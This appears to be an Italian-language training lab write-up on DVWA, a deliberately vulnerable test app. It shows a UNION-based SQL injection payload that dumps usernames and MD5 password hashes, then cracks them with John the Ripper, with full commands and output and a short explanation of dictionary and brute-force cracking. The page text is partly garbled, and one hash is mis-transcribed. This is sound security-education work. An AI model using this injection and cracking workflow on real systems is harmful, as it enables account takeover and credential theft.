

Screen con password trovate nel precedente esercizio con la SQL Injection

192.168.50.100/DVWA/vulnerabilities/sqli/?id=1'+UNION+SELECT+u

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Google

DVWA

Home
Instructions
Setup / Reset DB

Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Weak Session IDs
XSS (DOM)
XSS (Reflected)
XSS (Stored)
CSP Bypass
JavaScript
Authorisation Bypass
Open HTTP Redirect
DVWA Security

Vulnerability: SQL Injection

User ID: Submit

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user,password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user,password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More Information

- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://hahny.tables.com/>

Il cracking delle password è un processo utilizzato per recuperare password in chiaro partendo dai loro hash crittografici. In pratica, si tratta di trovare la corrispondenza tra un hash, che è una rappresentazione crittografica della password, e la password originale. Questo processo può essere eseguito attraverso vari metodi, come attacchi a dizionario, brute force, o utilizzando strumenti specializzati come John the Ripper.

Nel mio caso, ho utilizzato John the Ripper con il comando 'john --format=raw-md5 pass_hashes.txt' per craccare degli hash MD5 recuperati tramite un attacco SQL Injection. Questa tipologia di cracking, in particolare, è un attacco basato su dizionario e brute force. Il meccanismo principale consiste nel testare una serie di password comuni o generate automaticamente contro gli hash presenti nel file pass_hashes.txt.

John the Ripper esegue questi test utilizzando una combinazione di approcci: nel metodo a dizionario, prova password comuni prese da una lista predefinita, mentre con il metodo brute force, genera tutte le combinazioni possibili di caratteri, fino a trovare una corrispondenza. Questo approccio ha permesso di decodificare alcune delle password in chiaro. Il risultato finale dimostra quanto possa essere vulnerabile un sistema se le password non sono protette adeguatamente, ad esempio utilizzando hash salvati o password più complesse.

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ nano pass_hashes.txt  
(kali@kali)-[~]  
$ cat pass_hashes.txt  
5f4dcc3b5aa765d61d8327deb882cf99  
e99a18c428cb38d5f260853678922e03  
8d3533d75ae2c3966d7e0d4fcc69216b  
0d107d09f5bbe40cade3de5c71e9e9b7  
5f4dcc3b5aa765d61d8327deb882cf99  
(kali@kali)-[~]  
$ john --format=raw-md5 pass_hashes.txt  
Created directory: /home/kali/.john  
Using default input encoding: UTF-8  
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])  
Warning: no OpenMP support for this hash type, consider --fork=3  
Proceeding with single, rules:Single  
Press 'q' or Ctrl-C to abort, almost any other key for status  
Almost done: Processing the remaining buffered candidate passwords, if any.  
Proceeding with wordlist:/usr/share/john/password.lst  
password ( ? )  
password ( ? )  
abc123 ( ? )  
letmein ( ? )  
Proceeding with incremental:ASCII  
charley ( ? )  
5g 0:00:00:00 DONE 3/3 (2024-08-20 19:45) 23.80g/s 848371p/s 848371c/s 852028C/s stevy13..chertsu  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.  
(kali@kali)-[~]  
$  
XSS (Reflected)  
XSS (Stored)  
CSP Bypass  
JavaScript  
Authentication Bypass  
Open HTTP Redirect  
DVWA Security  
PHP Info  
About  
Login
```

```
$dynamic_0$8d3333d73ae2c3900d7e0d4f6c09210b.charley

(kali㉿kali)-[~]
$ john --format=raw-md5 pass_hashes.txt --show
?:password
?:abc123
?:charley
?:letmein
?:password

5 password hashes cracked, 0 left

(kali㉿kali)-[~]
$
```